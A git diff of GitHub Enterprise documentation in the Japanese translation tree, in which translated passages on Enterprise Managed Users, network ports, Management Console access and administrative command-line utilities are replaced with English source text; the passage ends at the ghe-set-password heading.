b/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md index 83149332e0..2700c6ee2e 100644 --- a/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md +++ b/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md @@ -16,7 +16,7 @@ topics: - SSO --- -## {% data variables.product.prodname_emus %}について +## About {% data variables.product.prodname_emus %} With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). You can simplify authentication with SAML single sign-on (SSO) and provision, update, and deprovision user accounts for your enterprise members. Users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and added to your enterprise. You control usernames, profile data, team membership, and repository access from your IdP. @@ -46,14 +46,14 @@ To use {% data variables.product.prodname_emus %}, you need a separate type of e {% data variables.product.prodname_managed_users_caps %} can only contribute to private and internal repositories within their enterprise and private repositories owned by their user account. {% data variables.product.prodname_managed_users_caps %} have read-only access to the wider {% data variables.product.prodname_dotcom %} community. * {% data variables.product.prodname_managed_users_caps %} cannot create issues or pull requests in, comment or add reactions to, nor star, watch, or fork repositories outside of the enterprise. -* {% data variables.product.prodname_managed_users_caps %} cannot push code to repositories outside of the enterprise. -* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise. +* {% data variables.product.prodname_managed_users_caps %} can view all public repositories on {% data variables.product.prodname_dotcom_the_website %}, but cannot push code to repositories outside of the enterprise. +* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise. * {% data variables.product.prodname_managed_users_caps %} cannot follow users outside of the enterprise. * {% data variables.product.prodname_managed_users_caps %} cannot create gists or comment on gists. * {% data variables.product.prodname_managed_users_caps %} cannot install {% data variables.product.prodname_github_apps %} on their user accounts. * Other {% data variables.product.prodname_dotcom %} users cannot see, mention, or invite a {% data variables.product.prodname_managed_user %} to collaborate. * {% data variables.product.prodname_managed_users_caps %} can only own private repositories and {% data variables.product.prodname_managed_users %} can only invite other enterprise members to collaborate on their owned repositories. -* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. +* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. ## About enterprises with managed users @@ -61,7 +61,7 @@ To use {% data variables.product.prodname_emus %}, you need a separate type of e Your contact on the GitHub Sales team will work with you to create your new {% data variables.product.prodname_emu_enterprise %}. You'll need to provide the email address for the user who will set up your enterprise and a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} For more information, see "[Usernames and profile information](#usernames-and-profile-information)." -After we create your enterprise, you will receive an email from {% data variables.product.prodname_dotcom %} inviting you to choose a password for your enterprise's setup user, which will be the first owner in the enterprise. The setup user is only used to configure SAML single sign-on and SCIM provisioning integration for the enterprise. It will no longer have access to administer the enterprise account once SAML is successfully enabled. +After we create your enterprise, you will receive an email from {% data variables.product.prodname_dotcom %} inviting you to choose a password for your enterprise's setup user, which will be the first owner in the enterprise. Use an incognito or private browsing window when setting the password. The setup user is only used to configure SAML single sign-on and SCIM provisioning integration for the enterprise. It will no longer have access to administer the enterprise account once SAML is successfully enabled. The setup user's username is your enterprise's shortcode suffixed with `_admin`. After you log in to your setup user, you can get started by configuring SAML SSO for your enterprise. For more information, see "[Configuring SAML single sign-on for Enterprise Managed Users](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)." @@ -71,7 +71,7 @@ The setup user's username is your enterprise's shortcode suffixed with `_admin`. {% endnote %} -## {% data variables.product.prodname_managed_user %} として認証を行う +## Authenticating as a {% data variables.product.prodname_managed_user %} {% data variables.product.prodname_managed_users_caps %} must authenticate through their identity provider. diff --git a/translations/ja-JP/content/admin/configuration/configuring-network-settings/network-ports.md b/translations/ja-JP/content/admin/configuration/configuring-network-settings/network-ports.md index 2756d84326..4fcd17c1a7 100644 --- a/translations/ja-JP/content/admin/configuration/configuring-network-settings/network-ports.md +++ b/translations/ja-JP/content/admin/configuration/configuring-network-settings/network-ports.md @@ -1,5 +1,5 @@ --- -title: ネットワークポート +title: Network ports redirect_from: - /enterprise/admin/articles/configuring-firewalls/ - /enterprise/admin/articles/firewall/ @@ -8,7 +8,7 @@ redirect_from: - /enterprise/admin/installation/network-ports - /enterprise/admin/configuration/network-ports - /admin/configuration/network-ports -intro: オープンするネットワークポートは、管理者、エンドユーザ、メールサポートへ公開する必要があるネットワークサービスに応じて選択してください。 +intro: 'Open network ports selectively based on the network services you need to expose for administrators, end users, and email support.' versions: ghes: '*' type: reference @@ -18,37 +18,36 @@ topics: - Networking - Security --- +## Administrative ports -## 管理ポート +Some administrative ports are required to configure {% data variables.product.product_location %} and run certain features. Administrative ports are not required for basic application use by end users. -{% data variables.product.product_location %}を設定し、一部の機能を実行するためにはいくつかの管理ポートが必要です。 管理ポートは、エンドユーザが基本的なアプリケーションを利用するためには必要ありません。 +| Port | Service | Description | +|---|---|---| +| 8443 | HTTPS | Secure web-based {% data variables.enterprise.management_console %}. Required for basic installation and configuration. | +| 8080 | HTTP | Plain-text web-based {% data variables.enterprise.management_console %}. Not required unless SSL is disabled manually. | +| 122 | SSH | Shell access for {% data variables.product.product_location %}. Required to be open to incoming connections between all nodes in a high availability configuration. The default SSH port (22) is dedicated to Git and SSH application network traffic. | +| 1194/UDP | VPN | Secure replication network tunnel in high availability configuration. Required to be open for communication between all nodes in the configuration.| +| 123/UDP| NTP | Required for time protocol operation. | +| 161/UDP | SNMP | Required for network monitoring protocol operation. | -| ポート | サービス | 説明 | -| -------- | ----- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 8443 | HTTPS | 安全な Web ベースの {% data variables.enterprise.management_console %}。 基本的なインストールと設定に必要です。 | -| 8080 | HTTP | プレーンテキストの Web ベースの {% data variables.enterprise.management_console %}。 SSL を手動で無効にしない限り必要ありません。 | -| 122 | SSH | {% data variables.product.product_location %} 用のシェルアクセス。 High Availability 設定では他のすべてのノードからの着信接続に対して開かれている必要があります。 デフォルトの SSHポート (22) は Git と SSH のアプリケーションネットワークトラフィック専用です。 | -| 1194/UDP | VPN | High Availability設定でのセキュアなレプリケーションネットワークトンネル。 その設定では他のすべてのノードに対して開かれている必要があります。 | -| 123/UDP | NTP | timeプロトコルの処理に必要。 | -| 161/UDP | SNMP | ネットワークモニタリングプロトコルの処理に必要。 | +## Application ports for end users -## エンドユーザーのためのアプリケーションポート +Application ports provide web application and Git access for end users. -アプリケーションのポートは、エンドユーザーにWebアプリケーションとGitへのアクセスを提供します。 - -| ポート | サービス | 説明 | -| ---- | ----- | ---------------------------------------------------------------------------------------------------------------------------------- | -| 443 | HTTPS | WebアプリケーションとGit over HTTPSのアクセス。 | -| 80 | HTTP | Web アプリケーションへのアクセス。 SSL が有効な場合にすべての要求は HTTPS ポートにリダイレクトされます。 | -| 22 | SSH | Git over SSH へのアクセス。 パブリックとプライベートリポジトリへの clone、fetch、push 操作をサポートします。 | -| 9418 | Git | Gitプロトコルのポート。暗号化されないネットワーク通信でのパブリックなリポジトリへのclone及びfetch操作をサポートする。 {% data reusables.enterprise_installation.when-9418-necessary %} +| Port | Service | Description | +|---|---|---| +| 443 | HTTPS | Access to the web application and Git over HTTPS. | +| 80 | HTTP | Access to the web application. All requests are redirected to the HTTPS port when SSL is enabled. | +| 22 | SSH | Access to Git over SSH. Supports clone, fetch, and push operations to public and private repositories. | +| 9418 | Git | Git protocol port supports clone and fetch operations to public repositories with unencrypted network communication. {% data reusables.enterprise_installation.when-9418-necessary %} | {% data reusables.enterprise_installation.terminating-tls %} -## メールのポート +## Email ports -メールのポートは直接あるいはエンドユーザ用のインバウンドメールサポートのリレーを経由してアクセスできなければなりません。 +Email ports must be accessible directly or via relay for inbound email support for end users. -| ポート | サービス | 説明 | -| --- | ---- | -------------------------- | -| 25 | SMTP | 暗号化ありのSMTP（STARTTLS）のサポート。 | +| Port | Service | Description | +|---|---|---| +| 25 | SMTP | Support for SMTP with encryption (STARTTLS). | diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md index b5d637bb90..ffc53c7878 100644 --- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md +++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md @@ -1,5 +1,5 @@ --- -title: Management Console にアクセスする +title: Accessing the management console intro: '{% data reusables.enterprise_site_admin_settings.about-the-management-console %}' redirect_from: - /enterprise/admin/articles/about-the-management-console/ @@ -19,38 +19,37 @@ topics: - Fundamentals shortTitle: Access the management console --- +## About the {% data variables.enterprise.management_console %} -## {% data variables.enterprise.management_console %}について +Use the {% data variables.enterprise.management_console %} for basic administrative activities: +- **Initial setup**: Walk through the initial setup process when first launching {% data variables.product.product_location %} by visiting {% data variables.product.product_location %}'s IP address in your browser. +- **Configuring basic settings for your instance**: Configure DNS, hostname, SSL, user authentication, email, monitoring services, and log forwarding on the Settings page. +- **Scheduling maintenance windows**: Take {% data variables.product.product_location %} offline while performing maintenance using the {% data variables.enterprise.management_console %} or administrative shell. +- **Troubleshooting**: Generate a support bundle or view high level diagnostic information. +- **License management**: View or update your {% data variables.product.prodname_enterprise %} license. -次の基本的な管理作業には {% data variables.enterprise.management_console %} を使用します。 -- **初期セットアップ**: ブラウザで {% data variables.product.product_location %} の IP アドレスにアクセスすることで {% data variables.product.product_location %} を最初に起動したときに、初期セットアッププロセスを段階的に実行します。 -- **インスタンスの基本設定**: [Settings] ページで、DNS、ホスト名、SSL、ユーザ認証、メール、モニタリングサービス、ログの転送を設定します。 -- **メンテナンスウィンドウのスケジュール**: {% data variables.enterprise.management_console %} または管理シェルを使用してメンテナンスを実行する際に、{% data variables.product.product_location %} をオフラインにします。 -- **トラブルシューティング**: Support Bundle を生成するか、高レベルの診断情報を一覧表示します。 -- **ライセンス管理**: {% data variables.product.prodname_enterprise %} ライセンスを一覧表示または更新します。 +You can always reach the {% data variables.enterprise.management_console %} using {% data variables.product.product_location %}'s IP address, even when the instance is in maintenance mode, or there is a critical application failure or hostname or SSL misconfiguration. -{% data variables.enterprise.management_console %}には、{% data variables.product.product_location %}のIPアドレスからいつでもアクセスできます。インスタンスがメンテナンスモードになっていたり、致命的なアプリケーション障害やホスト名あるいはSSLの設定ミスがあってもアクセス可能です。 +To access the {% data variables.enterprise.management_console %}, you must use the administrator password established during initial setup of {% data variables.product.product_location %}. You must also be able to connect to the virtual machine host on port 8443. If you're having trouble reaching the {% data variables.enterprise.management_console %}, please check intermediate firewall and security group configurations. -{% data variables.enterprise.management_console %}にアクセスするには、{% data variables.product.product_location %}の初期セットアップ時に設定した管理者パスワードを使わなければなりません。 また、ポート8443で仮想マシンのホストに接続することもできます。 {% data variables.enterprise.management_console %}へのアクセスに問題があれば、中間のファイアウォールやセキュリティグループの設定を確認してください。 +## Accessing the {% data variables.enterprise.management_console %} as a site administrator -## サイト管理者としての{% data variables.enterprise.management_console %}へのアクセス - -サイト管理者として初めて {% data variables.enterprise.management_console %} にアクセスするときは、アプリに認証するために {% data variables.product.prodname_enterprise %} ライセンスファイルをアップロードする必要があります。 For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)." +The first time that you access the {% data variables.enterprise.management_console %} as a site administrator, you must upload your {% data variables.product.prodname_enterprise %} license file to authenticate into the app. For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)." {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} -## 認証されていないユーザとしての{% data variables.enterprise.management_console %}へのアクセス +## Accessing the {% data variables.enterprise.management_console %} as an unauthenticated user -1. ブラウザで次の URL にアクセスします。`hostname` は実際の {% data variables.product.prodname_ghe_server %} ホスト名または IP アドレスに置き換えてください: +1. Visit this URL in your browser, replacing `hostname` with your actual {% data variables.product.prodname_ghe_server %} hostname or IP address: ```shell http(s)://HOSTNAME/setup ``` {% data reusables.enterprise_management_console.type-management-console-password %} -## ログイン試行の失敗後の{% data variables.enterprise.management_console %}のアンロック +## Unlocking the {% data variables.enterprise.management_console %} after failed login attempts -10 分以内にログインに 10 回失敗すると、{% data variables.enterprise.management_console %} はロックされます。 ログインを再度試みるには、ログイン画面が自動的にロック解除されるまで待つ必要があります。 直前の 10 分間に失敗したログイン試行が 10 回未満となると同時に、ログイン画面は自動的にロックが解除されます。 ログインが成功すると、カウンタはリセットされます。 +The {% data variables.enterprise.management_console %} locks after ten failed login attempts are made in the span of ten minutes. You must wait for the login screen to automatically unlock before attempting to log in again. The login screen automatically unlocks as soon as the previous ten minute period contains fewer than ten failed login attempts. The counter resets after a successful login occurs. -{% data variables.enterprise.management_console %} をただちにロック解除するには、管理シェルから `ghe-reactivate-admin-login` コマンドを使用します。 詳細は「[コマンドラインユーティリティ](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-reactivate-admin-login)」および「[管理シェル (SSH) にアクセスする](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)」を参照してください。 +To immediately unlock the {% data variables.enterprise.management_console %}, use the `ghe-reactivate-admin-login` command via the administrative shell. For more information, see "[Command line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-reactivate-admin-login)" and "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)." diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md index 7634eae108..2e8a16c345 100644 --- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md +++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md @@ -1,6 +1,6 @@ --- -title: コマンドラインのユーティリティ -intro: '{% data variables.product.prodname_ghe_server %} には、特定の問題を解決したり特定のタスクを実行するのに役立つさまざまなユーティリティが搭載されています。' +title: Command-line utilities +intro: '{% data variables.product.prodname_ghe_server %} includes a variety of utilities to help resolve particular problems or perform specific tasks.' redirect_from: - /enterprise/admin/articles/viewing-all-services/ - /enterprise/admin/articles/command-line-utilities/ @@ -15,24 +15,23 @@ topics: - Enterprise - SSH --- +You can execute these commands from anywhere on the VM after signing in as an SSH admin user. For more information, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)." -SSH 管理ユーザとしてサインインした後では、VM 上のどこからでもこれらのコマンドを実行できます。 詳しくは、"[管理シェル（SSH）へのアクセス方法](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)を参照してください。" - -## 一般的 +## General ### ghe-announce -このユーティリティは、あらゆる {% data variables.product.prodname_enterprise %} ページの上部にバナーを設定します。 これを使用すればユーザにメッセージを配信することができます。 +This utility sets a banner at the top of every {% data variables.product.prodname_enterprise %} page. You can use it to broadcast a message to your users. {% ifversion ghes %} -{% data variables.product.product_name %} の Enterprise 設定を使用して、お知らせバナーを設定することもできます。 詳しい情報については「[インスタンス上でのユーザメッセージをカスタマイズする](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)」を参照してください。 +You can also set an announcement banner using the enterprise settings on {% data variables.product.product_name %}. For more information, see "[Customizing user messages on your instance](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)." {% endif %} ```shell -# 皆に見えるメッセージを設定する +# Sets a message that's visible to everyone $ ghe-announce -s MESSAGE > Announcement message set. -# 以前設定したメッセージを削除する +# Removes a previously set message $ ghe-announce -u > Removed the announcement message ``` @@ -42,18 +41,18 @@ $ ghe-announce -u ### ghe-aqueduct -このユーティリティは、アクティブでありかつキュー内にある、バックグラウンドジョブに関する情報を表示します。 あらゆるページの上部には、管理統計バーと同じジョブ数が表示されます。 +This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page. This utility can help identify whether the Aqueduct server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Aqueduct: -* 背景のジョブの数が増えていますが、実行中のジョブの数は同じままです。 -* イベントフィードが更新されない。 -* webhook はトリガーされていません。 -* Git プッシュ後、ウェブインタフェースが更新されない。 +* The number of background jobs is increasing, while the active jobs remain the same. +* The event feeds are not updating. +* Webhooks are not being triggered. +* The web interface is not updating after a Git push. If you suspect Aqueduct is failing, contact {% data variables.contact.contact_ent_support %} for help. -このコマンドでは、キューでのジョブ停止または再開をすることができます。 +With this command, you can also pause or resume jobs in the queue. ```shell $ ghe-aqueduct status @@ -69,7 +68,7 @@ $ ghe-aqueduct resume --queue QUEUE ### ghe-check-disk-usage -このユーティリティは、大きなファイルがないか、あるいは削除されているがファイルハンドルがまだ開いているファイルがないか、ディスクをチェックします。 これは、ルートパーティションで空き容量を確保しようとしているときに実行してください。 +This utility checks the disk for large files or files that have been deleted but still have open file handles. This should be run when you're trying to free up space on the root partition. ```shell ghe-check-disk-usage @@ -77,18 +76,18 @@ ghe-check-disk-usage ### ghe-cleanup-caches -このユーティリティは、ルートボリュームでディスク領域を将来余分に取り過ぎる可能性があるさまざまなキャッシュをクリーンアップします。 ルートボリュームのディスク領域の使用量が時間の経過とともに著しく増加していることがわかった場合は、このユーティリティを実行して全体的な使用量を減らすのに役立つかどうかを確認することをおすすめします。 +This utility cleans up a variety of caches that might potentially take up extra disk space on the root volume. If you find your root volume disk space usage increasing notably over time it would be a good idea to run this utility to see if it helps reduce overall usage. ```shell ghe-cleanup-caches ``` ### ghe-cleanup-settings -このユーティリティは、既存の {% data variables.enterprise.management_console %} の設定をすべて消去します。 +This utility wipes all existing {% data variables.enterprise.management_console %} settings. {% tip %} -**参考**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} +**Tip**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} {% endtip %} @@ -98,36 +97,36 @@ ghe-cleanup-settings ### ghe-config -このユーティリティを使用すると、{% data variables.product.product_location %} の設定を取得して変更することができます。 +With this utility, you can both retrieve and modify the configuration settings of {% data variables.product.product_location %}. ```shell $ ghe-config core.github-hostname -# `core.github-hostname` のコンフィグレーション値を獲得する +# Gets the configuration value of `core.github-hostname` $ ghe-config core.github-hostname 'example.com' -# `core.github-hostname` のコンフィグレーション値を `example.com`にする +# Sets the configuration value of `core.github-hostname` to `example.com` $ ghe-config -l -# コンフィグレーションの全ての値を表示 +# Lists all the configuration values ``` -`cluster.conf` でノードの Universally Unique Identifier (UUID) を見つけることができます。 +Allows you to find the universally unique identifier (UUID) of your node in `cluster.conf`. ```shell $ ghe-config HOSTNAME.uuid ``` {% ifversion ghes %} -API レート制限からユーザのリストを除外できます。 詳しい情報については、「[REST API のリソース](/rest/overview/resources-in-the-rest-api#rate-limiting)」を参照してください。 +Allows you to exempt a list of users from API rate limits. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)." ``` shell $ ghe-config app.github.rate-limiting-exempt-users "hubot github-actions" -# ユーザーの hubot と github-actions をレート制限から除外する +# Exempts the users hubot and github-actions from rate limits ``` {% endif %} ### ghe-config-apply -このユーティリティは、{% data variables.enterprise.management_console %} の設定の適用や、システムサービスのリロード、アプリケーションサービスのリロード、保留中のデータベースマイグレーションを行います。 これは、{% data variables.enterprise.management_console %} の Web UIで [**Save settings**] をクリックすること、または [`/setup/api/configure` エンドポイント](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console)に POST リクエストを送信するのと同様です。 +This utility applies {% data variables.enterprise.management_console %} settings, reloads system services, prepares a storage device, reloads application services, and runs any pending database migrations. It is equivalent to clicking **Save settings** in the {% data variables.enterprise.management_console %}'s web UI or to sending a POST request to [the `/setup/api/configure` endpoint](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console). -手動で実行することはないと思いますが、設定を保存する過程をSSH 経由で自動化したい場合に利用できます。 +You will probably never need to run this manually, but it's available if you want to automate the process of saving your settings via SSH. ```shell ghe-config-apply @@ -135,7 +134,7 @@ ghe-config-apply ### ghe-console -このユーティリティは、{% data variables.product.prodname_enterprise %} アプライアンスで GitHub Rails コンソールを開きます。 {% data reusables.command_line.use_with_support_only %} +This utility opens the GitHub Rails console on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %} ```shell ghe-console @@ -143,16 +142,16 @@ ghe-console ### ghe-dbconsole -このユーティリティは、{% data variables.product.prodname_enterprise %} アプライアンスで MySQL データベースセッションを開きます。 {% data reusables.command_line.use_with_support_only %} +This utility opens a MySQL database session on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %} ```shell ghe-dbconsole ``` ### ghe-es-index-status -このユーティリティは、ElasticSearch のインデックスの概要を CSV フォーマットで表示します。 +This utility returns a summary of Elasticsearch indexes in CSV format. -`STDOUT` でヘッダー行が付いてるインデックスの概要を表示します。 +Print an index summary with a header row to `STDOUT`: ```shell $ ghe-es-index-status -do > warning: parser/current is loading parser/ruby23, which recognizes @@ -171,7 +170,7 @@ $ ghe-es-index-status -do > wikis-4,true,true,true,true,100.0,2613dec44bd14e14577803ac1f9e4b7e07a7c234 ``` -インデックスの概要を表示し、読みやすくするために `column` にパイプします。 +Print an index summary and pipe results to `column` for readability: ```shell $ ghe-es-index-status -do | column -ts, @@ -193,7 +192,7 @@ $ ghe-es-index-status -do | column -ts, ### ghe-legacy-github-services-report -このユーティリティは、2018 年 10 月 1 日に廃止予定の統合方式である {% data variables.product.prodname_dotcom %} サービスを使用しているアプライアンス上のリポジトリを一覧表示します。 アプライアンス上のユーザーは、特定のリポジトリへのプッシュに対する通知を作成するために、{% data variables.product.prodname_dotcom %} サービスを設定している場合があります。 詳しい情報については、{% data variables.product.prodname_blog %} で「[{% data variables.product.prodname_dotcom %} サービスの非推奨をアナウンスする](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)」、または「[{% data variables.product.prodname_dotcom %} サービスを置き換える](/developers/overview/replacing-github-services)」を参照してください。 このコマンドの詳細や追加のオプションについては、`-h` フラグを使用してください。 +This utility lists repositories on your appliance that use {% data variables.product.prodname_dotcom %} Services, an integration method that will be discontinued on October 1, 2018. Users on your appliance may have set up {% data variables.product.prodname_dotcom %} Services to create notifications for pushes to certain repositories. For more information, see "[Announcing the deprecation of {% data variables.product.prodname_dotcom %} Services](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)" on {% data variables.product.prodname_blog %} or "[Replacing {% data variables.product.prodname_dotcom %} Services](/developers/overview/replacing-github-services)." For more information about this command or for additional options, use the `-h` flag. ```shell ghe-legacy-github-services-report @@ -202,7 +201,7 @@ ghe-legacy-github-services-report ### ghe-logs-tail -このユーティリティでは、インストールから関連するすべてのログファイルを末尾に記録できます。 オプションを渡すことでログを特定のセットに制限できます。 追加オプションを確認するには -h フラグを使用してください。 +This utility lets you tail log all relevant log files from your installation. You can pass options in to limit the logs to specific sets. Use the -h flag for additional options. ```shell ghe-logs-tail @@ -210,7 +209,7 @@ ghe-logs-tail ### ghe-maintenance -このユーティリティにより、インストールのメンテナンスモードの状態を制御できます。 これは主に舞台裏で {% data variables.enterprise.management_console %} によって使用されるように設計されていますが、直接使用することもできます。 +This utility allows you to control the state of the installation's maintenance mode. It's designed to be used primarily by the {% data variables.enterprise.management_console %} behind-the-scenes, but it can be used directly. ```shell ghe-maintenance -h @@ -218,7 +217,7 @@ ghe-maintenance -h ### ghe-motd -このユーティリティは、管理者が管理シェルを介してインスタンスにアクセスしたときに表示される今日のメッセージ (MOTD) を再表示します。 出力には、インスタンスの状態の概要が含まれます。 +This utility re-displays the message of the day (MOTD) that administrators see when accessing the instance via the administrative shell. The output contains an overview of the instance's state. ```shell ghe-motd @@ -226,7 +225,7 @@ ghe-motd ### ghe-nwo -このユーティリティを使って、リポジトリの ID でリポジトリの名前とオーナーを検索することができます。 +This utility returns a repository's name and owner based on the repository ID. ```shell ghe-nwo REPOSITORY_ID @@ -234,36 +233,36 @@ ghe-nwo REPOSITORY_ID ### ghe-org-admin-promote -このコマンドを使用して、アプライアンスでサイトの管理者権限を持つユーザーに Organization のオーナー権限を付与したり、単一の Organization 内の任意の単一ユーザーに Organization のオーナー権限を付与したりします。 ユーザーや Organization を指定する必要があります。 確認を省略するために`-y` フラグを使用しない限り、`ghe-org-admin-encourage` コマンドは実行前に常に確認を求めます。 +Use this command to give organization owner privileges to users with site admin privileges on the appliance, or to give organization owner privileges to any single user in a single organization. You must specify a user and/or an organization. The `ghe-org-admin-promote` command will always ask for confirmation before running unless you use the `-y` flag to bypass the confirmation. -ユーティリティでは以下のオプションを使用できます。 +You can use these options with the utility: -- `-u`のフラグはユーザ名を指定します。 このフラグを使用して特定ユーザーに Organization のオーナー権限を付与します。 すべてのサイト管理者を指定された Organization に昇格させるには、`-u`フラグを省略します。 -- `-o`のフラグは Organization を指定します。 このフラグを使用して特定の Organization でオーナー権限を付与します。 すべての Organization で指定されたサイト管理者にオーナー権限を付与するには、`-o` フラグを省略します。 -- `-a` のフラグは、全ての Organization で全てのサイトアドミンにコードオーナー権限を与えます。 -- `-y` フラグは手動の確認を省略します。 +- The `-u` flag specifies a username. Use this flag to give organization owner privileges to a specific user. Omit the `-u` flag to promote all site admins to the specified organization. +- The `-o` flag specifies an organization. Use this flag to give owner privileges in a specific organization. Omit the `-o` flag to give owner permissions in all organizations to the specified site admin. +- The `-a` flag gives owner privileges in all organizations to all site admins. +- The `-y` flag bypasses the manual confirmation. -このユーティリティは、非サイト管理者をすべての Organization のオーナーに昇格させることはできません。 [ghe-user-promote](#ghe-user-promote)を使用すれば、通常のユーザーアカウントをサイト管理者に昇格させることができます。 +This utility cannot promote a non-site admin to be an owner of all organizations. You can promote an ordinary user account to a site admin with [ghe-user-promote](#ghe-user-promote). -特定の Organization の Organization のオーナーの権限を特定のサイト管理者に与える +Give organization owner privileges in a specific organization to a specific site admin ```shell -ghe-org-admin-promote -u ユーザ名 -o ORGANIZATION +ghe-org-admin-promote -u USERNAME -o ORGANIZATION ``` -全ての Organization で特定のサイトアドミンに Organizationのオーナー権限を与える +Give organization owner privileges in all organizations to a specific site admin ```shell -ghe-org-admin-promote -u ユーザ名 +ghe-org-admin-promote -u USERNAME ``` -特定の Organization で全てのサイトアドミンに Organizationのオーナー権限を与える +Give organization owner privileges in a specific organization to all site admins ```shell ghe-org-admin-promote -o ORGANIZATION ``` -全ての Organization で全てのサイトアドミンに Organization のオーナー権限を与える +Give organization owner privileges in all organizations to all site admins ```shell ghe-org-admin-promote -a @@ -271,7 +270,7 @@ ghe-org-admin-promote -a ### ghe-reactivate-admin-login -10分以内にログインを10回失敗した場合、このコマンドを使って {% data variables.enterprise.management_console %} を直ちに解除できます。 +Use this command to immediately unlock the {% data variables.enterprise.management_console %} after 10 failed login attempts in the span of 10 minutes. ```shell $ ghe-reactivate-admin-login @@ -282,51 +281,51 @@ $ ghe-reactivate-admin-login ### ghe-resque-info -このユーティリティは、アクティブでありかつキュー内にある、バックグラウンドジョブに関する情報を表示します。 あらゆるページの上部には、管理統計バーと同じジョブ数が表示されます。 +This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page. -このユーティリティは、Resque サーバーでバックグラウンドジョブの処理に問題があるかどうかを識別するのに役立ちます。 以下のどのシナリオも Resque の問題を示している可能性があります。 +This utility can help identify whether the Resque server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Resque: -* 背景のジョブの数が増えていますが、実行中のジョブの数は同じままです。 -* イベントフィードが更新されない。 -* webhook はトリガーされていません。 -* Git プッシュ後、ウェブインタフェースが更新されない。 +* The number of background jobs is increasing, while the active jobs remain the same. +* The event feeds are not updating. +* Webhooks are not being triggered. +* The web interface is not updating after a Git push. -Resque の故障を懸念している場合は、{% data variables.contact.contact_ent_support %} に連絡してください。 +If you suspect Resque is failing, contact {% data variables.contact.contact_ent_support %} for help. -このコマンドでは、キューでのジョブ停止または再開をすることができます。 +With this command, you can also pause or resume jobs in the queue. ```shell $ ghe-resque-info -# キューと現在キューに入っているジョブの数を表示する +# lists queues and the number of currently queued jobs $ ghe-resque-info -p QUEUE -# 特定のキューを停止する +# pauses the specified queue $ ghe-resque-info -r QUEUE -# 特定のキューを再開する +# resumes the specified queue ``` {% endif %} ### ghe-saml-mapping-csv -このユーティリティは、SAMLレコードのマップを支援します。 +This utility can help map SAML records. -{% data variables.product.product_name %}ユーザのためのすべてのSAMLマッピングを含むCSVファイルを作成するには、次のようにします。 +To create a CSV file containing all the SAML mapping for your {% data variables.product.product_name %} users: ```shell $ ghe-saml-mapping-csv -d ``` -新しい値でのSAMLマッピングの更新のドライランを実行するには、次のようにします。 +To perform a dry run of updating SAML mappings with new values: ```shell $ ghe-saml-mapping-csv -u -n -f /path/to/file ``` -新しい値でSAMLマッピングを更新するには、次のようにします。 +To update SAML mappings with new values: ```shell $ ghe-saml-mapping-csv -u -f /path/to/file ``` ### ghe-service-list -このユーティリティは、アプライアンス に開始または停止された（実行中または待機中）、全てのサービスの一覧を表示します。 +This utility lists all of the services that have been started or stopped (are running or waiting) on your appliance. ```shell $ ghe-service-list @@ -353,27 +352,27 @@ stop/waiting ### ghe-set-password 